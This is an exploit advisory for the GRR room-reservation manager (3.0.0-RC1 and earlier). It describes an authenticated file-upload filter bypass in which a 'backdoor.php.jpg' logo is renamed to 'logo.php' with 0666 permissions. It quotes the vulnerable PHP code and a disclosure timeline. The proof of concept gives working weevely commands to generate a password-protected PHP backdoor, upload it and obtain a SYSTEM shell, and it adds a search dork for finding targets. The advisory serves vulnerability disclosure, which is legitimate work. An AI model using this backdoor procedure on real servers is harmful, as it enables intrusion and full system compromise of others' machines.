# Exploit Title: GRR <= 3.0.0-RC1 (all versions) RCE with privilege escalation through file upload filter bypass (authenticated)
# Date: January 7th, 2016
# Exploit Author: kmkz (Bourbon Jean-marie) | @kmkz_security
# Vendor Homepage: http://grr.devome.com/fr/
# Software Link: http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1
# Version: 3.0.0-RC1
# Tested on: Windows 2003 R2, PHP 5.2.6
# Dork: inurl:/grr/ intext:réservation intitle:"GRR"
# CVSS score: 9.9
# OVE ID: OVE-20160705-0044
# CVE ID: Not Requested
# Credits: http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/
# Fix: https://github.com/JeromeDevome/GRR/blob/master/admin/admin_config1.php
I. APPLICATION
======================================================================================
GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.
II. ADVISORY
======================================================================================
The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.
Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element.
This file called for example "logo.jpg" is also "chmoded" as 0666 permission
and directly accessible in image folder (img_grr by default) by all users.
Besides, the application does only a basic conditional php test
on the extension of the uploaded file.
It's possible for an attacker to add a second extension that will be
used when the image will be renamed in order to bypass this basic filter
(double extension upload filter bypassing).
So, a file called backdoor.php.jpg will be renamed as logo.php with
chmod 0666 permissions and could be used by attacker to gain more privileges
on the targeted server (privesc due to bad file permissions and RCE).
To trigger this vulnerability it is necessary to have an administrator
account on the GRR application.
This vulnerability is a combination of 3 issues:
- predictable uploaded file names and path
- upload of any kind of file
- bad files permission when we upload this file that permit us to gain
privilegied access.
Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).
III. VULNERABLE CODE
======================================================================================
snip..
// Enregistrement du logo
$doc_file = isset($_FILES["doc_file"]) ? $_FILES["doc_file"] : NULL;
if (preg_match("`\.([^.]+)$`", $doc_file['name'], $match))
{
$ext = strtolower($match[1]);
if ($ext != 'jpg' && $ext != 'png' && $ext != 'gif') // Vulnerability !! Extension are the only "security" test on submitted files !!
{
$msg .= "L\'image n\'a pas pu être enregistrée : les seules extentions autorisées sont gif, png et jpg.\\n";
$ok = 'no';
}
else
{
$dest = '../images/';
$ok1 = false;
if ($f = @fopen("$dest/.test", "w"))
{
@fputs($f, '<'.'?php $ok1 = true; ?'.'>'); // Hem...
@fclose($f);
include("$dest/.test");
}
if (!$ok1)
{
$msg .= "L\'image n\'a pas pu être enregistrée : problème d\'écriture sur le répertoire \"images\". Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
$ok = 'no';
}
else
{
$ok1 = @copy($doc_file['tmp_name'], $dest.$doc_file['name']);
if (!$ok1)
$ok1 = @move_uploaded_file($doc_file['tmp_name'], $dest.$doc_file['name']);
if (!$ok1)
{
$msg .= "L\'image n\'a pas pu être enregistrée : problème de transfert. Le fichier n\'a pas pu être transféré sur le répertoire IMAGES. Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
$ok = 'no';
}
else
{
$tab = explode(".", $doc_file['name']);
$ext = strtolower($tab[1]);
if ($dest.$doc_file['name']!=$dest."logo.".$ext)
{
if (@file_exists($dest."logo.".$ext))
@unlink($dest."logo.".$ext);
rename($dest.$doc_file['name'],$dest."logo.".$ext); // Vulnerability: if filename is "backdoor.php.jpg" we rename it as "logo.php" !!
}
@chmod($dest."logo.".$ext, 0666); // Vulnerability: why chmod 0666 on this f****** file!?!?
$picture_room = "logo.".$ext;
if (!Settings::set("logo", $picture_room))
{
$msg .= "Erreur lors de l'enregistrement du logo !\\n";
$ok = 'no';
}
}
}
}
snip...
IV. PROOF OF CONCEPT
======================================================================================
Generate backdoor:
kmkz@Tapz:~# weevely generate pass123 /tmp/3lrvs.php
Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486 byte size.
kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg
Login as admin and upload this new 'logo' > Administration > logo
Enjoy your shell!
kmkz@Tapz:~# weevely http://server/images/logo.php pass123
[+] weevely 3.2.0
[+] Target: server:F:\server\grr\images
[+] Session: /kmkz/.weevely/sessions/laboratoire.target.fr/logo_1.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> whoami
autorite nt\system
V. RISK
======================================================================================
By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.
This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may conduce
to full information system's compromise using pivots techniques and imagination!
VI. VERSIONS AFFECTED
======================================================================================
GRR 3.0.0-RC1 is vulnerable (and all previous versions)
VII. TIMELINE
======================================================================================
December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response
January 15th, 2016: Patch release
January 17th, 2016: Public disclosure
VII. LEGAL NOTICES
======================================================================================
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
